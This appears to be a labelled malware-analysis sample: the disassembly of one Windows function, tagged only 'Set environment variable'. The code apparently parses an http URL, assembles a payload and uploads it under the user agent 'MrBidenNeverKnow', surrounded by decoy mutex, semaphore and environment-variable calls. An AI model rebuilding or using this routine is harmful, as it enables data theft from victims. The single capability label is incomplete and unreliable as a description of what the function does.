Function at 0x40b3da
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x41504c]
push ebx
push esi
push edi
push 0xc350
push 0x40
mov dword [ebp - 0x18], edx
mov esi, ecx
call eax
mov edx, dword [0x41504c]
mov ebx, eax
push 0x18
push 0x40
mov dword [ebp - 0x14], ebx
call edx
mov ecx, dword [0x41504c]
mov edi, eax
push 0x208
push 0x40
mov dword [ebp - 0xc], edi
call ecx
cmp word [esi], 0x68
mov dword [ebp - 8], eax
jne 0x40b65e
push 0x74
pop eax
cmp word [esi + 2], ax
jne 0x40b65e
cmp word [esi + 4], ax
jne 0x40b65e
cmp word [esi + 6], 0x70
jne 0x40b65e
movzx eax, word [esi + 8]
push dword [0x4154e0]
mov dword [ebp - 0x30], eax
mov eax, dword [0x415190]
push esi
call eax
and dword [ebp - 4], 0
add eax, 6
push 0x2f
mov dword [ebp - 0x10], eax
xor cl, cl
pop esi
movzx eax, word [eax]
mov edx, eax
cmp ax, si
je 0x40b4ba
mov edx, dword [ebp - 8]
xor esi, esi
mov ebx, dword [ebp - 4]
movzx eax, ax
cmp eax, 0x3a
jne 0x40b48c
mov cl, 1
jmp 0x40b49c
test cl, cl
jne 0x40b496
mov word [esi + edx], ax
jmp 0x40b49c
mov word [edi], ax
add edi, 2
mov eax, dword [ebp - 0x10]
inc ebx
push 0x2f
lea esi, [ebx + ebx]
movzx eax, word [esi + eax]
mov edx, eax
mov dword [ebp - 4], edx
pop edx
cmp ax, dx
mov edx, dword [ebp - 8]
jne 0x40b480
mov ebx, dword [ebp - 0x14]
push dword [ebp - 0xc]
mov edi, dword [0x415090]
call edi
push dword [ebp - 8]
mov esi, eax
call edi
add esi, eax
mov eax, dword [ebp - 0x10]
lea eax, [eax + esi*2]
mov esi, dword [ebp - 0xc]
add eax, 2
mov dword [ebp - 0x34], eax
mov eax, dword [0x415078]
push esi
call eax
push esi
mov dword [ebp - 0x2c], eax
call dword [0x4150cc]
mov edi, dword [ebp + 8]
mov ecx, edi
mov edx, dword [0x41504c]
shl ecx, 0x15
push ecx
push 0x40
call edx
mov dword [ebp - 4], eax
test edi, edi
jle 0x40b5ce
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x10], edi
mov edi, eax
mov ecx, dword [ebp - 0x18]
call fcn.0040ed79
mov edx, dword [0x4154f0]
mov ecx, edi
mov esi, eax
call fcn.0040f012
mov edx, esi
mov ecx, eax
call fcn.0040f012
mov edx, dword [0x41541c]
mov ecx, eax
call fcn.0040f012
mov edx, dword [0x415408]
mov ecx, eax
call fcn.0040f012
mov edx, dword [ebx]
mov ecx, eax
call fcn.0040f012
mov edx, 0x413998
mov ecx, eax
call fcn.0040f012
mov edx, dword [0x41541c]
mov ecx, eax
call fcn.0040f012
mov edx, dword [0x41542c]
mov ecx, eax
call fcn.0040f012
mov edx, dword [0x41541c]
mov ecx, eax
call fcn.0040f012
mov edx, dword [0x41541c]
mov ecx, eax
call fcn.0040f012
mov edx, dword [ebx + 4]
mov ecx, eax
call fcn.0040f012
mov edx, dword [0x41541c]
mov ecx, eax
call fcn.0040f012
push esi
mov edi, eax
call dword [0x4150cc]
sub dword [ebp - 0x10], 1
lea ebx, [ebx + 0xc]
jne 0x40b515
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 4], edi
mov edi, dword [ebp + 8]
mov eax, dword [0x4150e8]
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push 0xffffffffffffffff
push dword [ebp - 4]
push ecx
push 0xfde9
call eax
mov edx, dword [0x41504c]
mov ecx, edi
shl ecx, 0x14
push ecx
push 0x40
mov dword [ebp - 0x10], eax
call edx
mov ecx, dword [ebp + 0x10]
mov esi, eax
mov edx, dword [0x41504c]
mov dword [ebp - 0x1c], esi
lea ecx, [edi + ecx]
shl ecx, 0x14
push ecx
push 0x40
call edx
mov ecx, dword [ebp - 0x10]
mov edi, eax
mov dword [ebp - 0xc], eax
test ecx, ecx
je 0x40b72e
mov eax, dword [0x4150e8]
xor edx, edx
push edx
push edx
push ecx
push esi
push 0xffffffffffffffff
push dword [ebp - 4]
push edx
push 0xfde9
call eax
test eax, eax
jne 0x40b665
push dword [ebp - 4]
call dword [0x4150cc]
push ebx
call dword [0x4150cc]
push esi
call dword [0x4150cc]
push dword [ebp - 8]
call dword [0x4150cc]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
xor eax, eax
push eax
push 0xc4
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
push str.MTXq1fl7liz
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x40b6c7
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [ebp - 0x20]
push eax
push 0x20019
push 0
push str.reg2tjqpp66
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
jmp 0x40b6d7
push str.brwm24fz
push str.6x5fpo2a
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.XMLdy6airfx
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call esi
push str.SMPHR_ttjc6yhy
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov esi, dword [ebp - 0x1c]
mov eax, dword [0x41519c]
push esi
call eax
test eax, eax
jle 0x40b72e
push dword [ebp - 0x10]
mov eax, dword [0x415008]
push esi
push dword [ebp - 0xc]
call eax
test eax, eax
je 0x40b72e
mov edi, dword [ebp - 0x10]
dec edi
add edi, dword [ebp - 0xc]
push dword [ebp - 4]
call dword [0x4150cc]
push esi
call dword [0x4150cc]
cmp dword [ebp + 0x10], 0
jle 0x40b884
mov esi, dword [ebp + 0x14]
mov ebx, dword [ebp + 0x10]
add esi, 4
mov eax, dword [0x415154]
push 0
push dword [esi]
call eax
mov edx, dword [0x41504c]
mov dword [ebp - 4], eax
lea ecx, [eax + 0x400]
push ecx
push 0x40
call edx
mov edx, dword [0x4154d0]
mov ecx, eax
call fcn.0040f23a
mov edx, dword [0x41554c]
mov ecx, eax
call fcn.0040f23a
mov edx, dword [ebp - 0x18]
mov ecx, eax
call fcn.0040f23a
mov edx, dword [0x4154d0]
mov ecx, eax
call fcn.0040f23a
mov edx, dword [0x415554]
mov ecx, eax
call fcn.0040f23a
mov edx, dword [esi - 4]
mov ecx, eax
call fcn.0040f23a
mov edx, 0x4139e8
mov ecx, eax
call fcn.0040f23a
mov edx, dword [0x4154d0]
mov ecx, eax
call fcn.0040f23a
mov edx, dword [0x4154e4]
mov ecx, eax
call fcn.0040f23a
mov edx, dword [0x4154d0]
mov ecx, eax
call fcn.0040f23a
mov edx, dword [0x4154d0]
mov ecx, eax
call fcn.0040f23a
mov ecx, dword [0x41519c]
push eax
mov dword [ebp - 0x10], eax
call ecx
mov edx, dword [0x415008]
mov dword [ebp - 0x1c], eax
lea ecx, [eax + 1]
push ecx
push dword [ebp - 0x10]
push edi
call edx
test eax, eax
je 0x40b845
add edi, dword [ebp - 0x1c]
cmp dword [esi], 0
je 0x40b845
mov eax, dword [0x41508c]
lea ecx, [ebp - 0x20]
push 0
push ecx
push dword [ebp - 4]
push edi
push dword [esi]
call eax
test eax, eax
je 0x40b83d
add edi, dword [ebp - 0x20]
push dword [esi]
call dword [0x4150c0]
cmp dword [esi - 4], 0
je 0x40b854
push dword [esi - 4]
call dword [0x4150cc]
cmp dword [esi + 4], 0
je 0x40b86c
push dword [esi + 4]
call dword [0x4150f8]
push dword [esi + 4]
call dword [0x4150cc]
push dword [ebp - 0x10]
call dword [0x4150cc]
add esi, 0x10
sub ebx, 1
jne 0x40b751
mov ebx, dword [ebp - 0x14]
mov eax, dword [0x41504c]
push 0x100
push 0x40
call eax
mov edx, dword [0x4154d0]
mov ecx, eax
call fcn.0040f23a
mov edx, dword [0x41554c]
mov ecx, eax
call fcn.0040f23a
mov edx, dword [ebp - 0x18]
mov ecx, eax
call fcn.0040f23a
mov edx, dword [0x41554c]
mov ecx, eax
call fcn.0040f23a
mov ecx, dword [0x41519c]
mov esi, dword [0x415008]
push eax
mov dword [ebp - 0x18], eax
call ecx
inc eax
push eax
push dword [ebp - 0x18]
push edi
call esi
test eax, eax
je 0x40b8ed
push dword [ebp - 0x18]
mov eax, dword [0x41519c]
call eax
add edi, eax
push dword [ebp - 0x18]
call dword [0x4150cc]
mov eax, dword [0x41512c]
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push str.MrBidenNeverKnow
mov dword [ebp - 0x24], 0x7530
mov dword [ebp - 0x28], 0x7a120
call eax
mov esi, eax
lea eax, [ebp - 0x24]
push 4
push eax
push 6
push esi
mov dword [ebp - 0x20], esi
call dword [0x415178]
push 4
lea eax, [ebp - 0x28]
push eax
push 5
push esi
call dword [0x415178]
test esi, esi
je 0x40ba00
mov edx, dword [ebp - 8]
xor ecx, ecx
mov eax, dword [0x415184]
push 1
push ecx
push 3
push ecx
push ecx
push dword [ebp - 0x2c]
push edx
push esi
call eax
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x40b9f9
cmp word [ebp - 0x30], 0x73
mov ecx, 0x400000
mov edx, dword [0x4150bc]
push 1
mov dword [ebp - 0x2c], 0xc00000
cmove ecx, dword [ebp - 0x2c]
push ecx
push dword [ebp + 0x1c]
push 0
push 0
push dword [ebp - 0x34]
push dword [0x4152ac]
push eax
call edx
mov dword [ebp - 0x34], eax
test eax, eax
je 0x40b9f0
mov eax, dword [ebp - 0xc]
sub edi, eax
mov ecx, dword [0x415090]
mov esi, dword [0x415018]
push edi
push eax
push dword [ebp + 0x18]
call ecx
mov edi, dword [ebp - 0x34]
push eax
push dword [ebp + 0x18]
push edi
call esi
test eax, eax
je 0x40b9e6
mov esi, 0xc350
jmp 0x40b9d4
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x40b9e6
mov byte [eax + ebx], 0
mov eax, dword [0x415100]
lea ecx, [ebp - 0x18]
push ecx
push esi
push ebx
push edi
call eax
test eax, eax
jne 0x40b9c9
push edi
call dword [0x41506c]
mov esi, dword [ebp - 0x20]
push dword [ebp - 0x1c]
call dword [0x41506c]
push esi
call dword [0x41506c]
push str.XMLdx9pgteu
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
push 3
pop esi
call edi
sub esi, 1
jne 0x40ba25
push str.SMPHR_j20db5mn
push 1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov esi, eax
call edi
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x40ba5a
push str.gfhqzgow
push str.b8etrqg1
jmp 0x40ba64
push str.4s3kcx8g
push str.fhy8sjsv
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov eax, dword [0x41519c]
mov esi, dword [0x4150b0]
push 0
push 0
push ebx
call eax
inc eax
push eax
push ebx
push 0
push 0xfde9
call esi
mov ecx, dword [0x41504c]
mov esi, eax
mov dword [ebp - 0x34], esi
lea eax, [esi + esi]
push eax
push 0x40
mov dword [ebp - 0x30], eax
call ecx
mov edi, eax
test esi, esi
je 0x40bacd
push dword [ebp - 0x34]
mov ecx, dword [0x41519c]
mov esi, dword [0x4150b0]
push edi
push ebx
call ecx
inc eax
push eax
push ebx
push 0
push 0xfde9
call esi
mov eax, dword [ebp - 0x30]
xor ecx, ecx
mov word [eax + edi - 2], cx
test edi, edi
je 0x40bad8
push edi
call dword [0x4150cc]
push dword [ebp - 8]
call dword [0x4150cc]
push ebx
call dword [0x4150cc]
push dword [ebp - 0xc]
call dword [0x4150cc]
xor eax, eax
inc eax
jmp 0x40b660